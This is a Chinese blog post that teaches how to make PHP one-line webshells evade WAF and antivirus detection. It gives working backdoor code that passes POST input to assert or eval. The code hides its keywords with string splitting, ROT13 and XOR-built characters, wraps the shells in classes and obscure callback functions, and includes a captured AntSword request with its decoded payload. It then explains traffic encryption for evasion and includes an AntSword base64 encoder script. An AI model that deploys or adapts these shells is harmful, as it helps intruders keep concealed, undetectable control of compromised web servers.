谈谈php一句话木马的免杀

一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。

但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。

本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。

1.静态免杀

php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:

<?php  @assert($_POST['x']);?>

1.1 隐藏关键字

waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。

  • 拆解合并
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

目前来说,这种方式已经很难奏效了。

  • 利用各种函数、编码

比如对套上一层ROT13编码

$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。

  • 随机亦或产生

这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如
"Y"^"\x38"的结果就是a,同样的生成assert即可。

$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

输入字符串,随即生成的脚本我已经提取放在了github上:https://github.com/saucer-man/penetration-script/tree/master/%E7%94%9F%E6%88%90%E6%B7%B7%E6%B7%86php%E5%8F%98%E9%87%8F(%E8%BF%87waf)

上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。

1.2 将关键操作隐藏在各种类、函数中

其实主要的目的还是做混淆。比如下面这个一句话木马:

<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; //assert
@$c($_POST['x']);
?>

在用D盾进行扫描时,还是很容易被检测出来。

http://webshell.cdxy.me/上试试也很容易被检测出来

我们可以把他隐藏在类中:

<?php
class  Test{
    public $config='';
    function __destruct(){
    $ch = explode(".","hello.ass.world.er.rt.e.saucerman");
    $c = $ch[1].$ch[5].$ch[4];
    @$c($this->config);
    }
}
$test=new Test();
@$test->config=$_POST['x'];
?>

试试D盾:

变成了二级可疑,虽然没有完全奏效,但是还是有所混淆这里的原因主要还是检测出了assert关键字,其实采用稍微复杂的方式来生成assert就可以了,这里偷懒就不做了。

1.3 使用冷门回调函数

evalassert的关键字作为函数名称很显然是要受waf重点照顾的,但是作为世界上最好的语言,php也不可能就这点函数,还有很多冷门的回调函数,虽然开发没什么人用,但作为后门还是很好的。

比如:

<?php
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>

这部分函数我也没仔细找过,有兴趣的可以网上找一下,只需要有调用其他函数的功能即可。这里放一个我曾经写过的一个小马,利用了array_uintersect_uassoc函数来回调assert,并且也相应做了亦或处理来隐藏关键字,目测是不会被检测出来的。

<?php
function myfunction_key($a,$b){
    if ($a===$b){
        return 0;
    }
    return ($a>$b)?1:-1;
}
class rtHjmCdS{
    public $fHfoj;
    public $fDaGv;  
    public $HgAjSd; 
    function __construct(){

        $_xlr="J"^"\x2b";
        $_Nbv="V"^"\x25";
        $_cfh="T"^"\x27";
        $_PdK="I"^"\x2c";
        $_zJQ="+"^"\x59";
        $_RgD="="^"\x49";
        $this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;
        
        $_fLd="a"^"\x0";
        $_wOK="j"^"\x18";
        $_tAH="U"^"\x27";
        $_HeV="J"^"\x2b";
        $_cyo="-"^"\x54";
        $_iSW="F"^"\x19";
        $_jYS="/"^"\x5a";
        $_BFt="h"^"\x1";
        $_TRn="p"^"\x1e";
        $_izx="k"^"\x1f";
        $_gMz="X"^"\x3d";
        $_TNu="<"^"\x4e";
        $_UiE="v"^"\x5";
        $_iHI="q"^"\x14";
        $_LIK="m"^"\xe";
        $_Yey="Z"^"\x2e";
        $_lMr="="^"\x62";
        $_WOI="+"^"\x5e";
        $_FQy="u"^"\x14";
        $_sjC="d"^"\x17";
        $_mOr=">"^"\x4d";
        $_Txf="*"^"\x45";
        $_PmW="O"^"\x2c";
        $this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
        }
    
    function __destruct(){
        
        $Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
        $fdJfd = $this->fDaGv; // 'assert'
        //array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
        @$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
    }
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

到这里静态免杀基本就介绍完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里

2. 动态免杀

静态免杀相对来是很容易的,方法也多种多样,但是很显然不管怎么变化,最终都会回到一个最终的函数调用:

eval("xxxx")

而现在的waf都会基于流量检测,我们的木马返回包和发送包都有明显的特征,这样的木马基本逃不过动态检测。

下面以蚁剑为例,看下怎么绕过流量的动态监测。

首先我们使用稍微混淆过的木马:

<?php
class  Test{
    public $name = '';
    function __destruct(){
        @eval("$this->name");
    }
}

$test= new Test();
$c = @$_POST['css'];
$test->name = $c;
?>

在蚁剑添加木马后,我们用burp来抓第一个请求包来看它发了什么内容:

POST /a.php HTTP/1.1
Host: 192.168.129.128:80
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 985
Connection: close

css=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

解个码:

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "ae2ea";echo @asenc($output);echo "348cb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="    ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="    {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

可以看出这个包就是获取当前目录信息和用户的信息。

请求包中出现了很多明显的关键字,如果我们想要混淆应该怎么做呢?下面介绍几种常见的方式。

2.1 利用代理中转流量过waf

我们可以使用代理拦截菜刀的包,然后对其进行一些编码解码措施。其原理如下:

注:上图来自https://xz.aliyun.com/t/2739

原理也很简单,我们只需要修改一句话木马的内容为:

<?php
class  Test{
    public $name = '';
    function __destruct(){
        @eval("$this->name");
    }
}

$test= new Test();
$c = base64_decode(@$_POST['css']);
// 修改的地方就是上面这行,对参数进行解码之后再执行
$test->name = $c;
?>

然后我们只需要编写一个中间人代理脚本(如果有能力写扩展,直接用burpsuite就行了),将请求流量包中的css字段进行base64编码,这样的话请求包中就不会有明显的关键字了。

但是如果base64加解密太明显,还是容易被发现怎么办?aes、des等各种加密方式那么多,只要在一句话木马中写出解码的函数,加密想怎么来怎么来。

如果对相应包也进行了检测,怎么办?有请求包的加密解密,就可以有相应包的加解密啊,同样的,可以在一句话中对结果进行加密后再传输,在流量通过代理的时候进行解密即可。

2.2 使用蚁剑自带的编码

中国菜刀客户端已经有很多年不更新了,好用还是依旧好用,但是新的功能没有就很难受了,相比来说蚁剑客户端的可扩展性强多了,其实蚁剑自带编码功能,稍微改进一下,就可以绕过大部分waf检测了。

其原理和中转流量基本类似,只是在客户端就集成了对流量进行加解密的功能。比如在上面的一句话木马中,我们需要在中转代理处对参数进行base64编码,用蚁剑的话,我们只需要写一个编码脚本即可:

/**
 * php::b64pass编码器
 * Create at: 2018/10/11 21:40:45
 *
 * 把所有 POST 参数都进行了 base64 编码
 *
 * 适用shell: 
 *
 * <?php @eval(base64_decode($_POST['ant']));?>
 * 
 */

'use strict';

module.exports = (pwd, data) => {
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  data[randomID] = new Buffer(data['_']).toString('base64');
  data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  delete data['_'];
  return data;
}

为了加点混淆,还可以加点动态的东西,比如随机生成一定长度的字符串加在前后,在一句话木马解码之前先去掉这些字符串。或者搞点密钥加进去,基本混淆的很难检测出来。

2.3 动态二进制加密-冰蝎

感兴趣的可以去读一下介绍文章:
https://github.com/rebeyond/Behinder

原理其实类似,客户端对流量进行加密然后传输--> 服务器端对流量进行解密再执行。在这样一个过程中,冰蝎通过生成一个随机的密钥来保证加密的可靠性。其中和上面的方法不同的是传递的流量是二进制字节,服务端的木马对流量进行解密之后,执行二进制字节码,这样的话静态免杀基本上也一并做了。

实现原理并不复杂,但是思路还是很好的思路

综上几种动态免杀的方式,都需要对一句话进行修改,其实改动并不多,只要写一个稍微复杂点的加解密函数,就够用很久了。

需要注意的是,这里提到的动态免杀,针对的是流量检测,如果是那种基于行为的动态检测,那估计大伙都得哭了。

关于php免杀就写这么多,因为是之前琢磨过的东西拿出来写一写,没有当时实验的图,也没有安装各种waf再进行实操一遍,这篇也就仅聊下思路,感兴趣的可以认真看一下下面的参考文章。

参考

1 + 5 =
快来做第一个评论的人吧~